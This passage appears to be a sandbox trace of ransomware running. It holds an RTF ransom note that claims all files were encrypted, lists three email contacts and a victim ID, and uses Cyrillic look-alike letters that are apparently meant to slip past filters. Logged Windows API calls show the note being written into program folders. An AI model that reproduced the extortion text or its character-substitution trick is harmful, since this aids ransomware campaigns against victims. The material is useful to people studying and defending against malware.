\\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.933] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.936] CloseHandle (hObject=0x1cc) returned 1 [0033.939] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\!bwng_info!.rtf")) returned 0xffffffff [0033.939] GetLastError () returned 0x2 [0033.939] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d 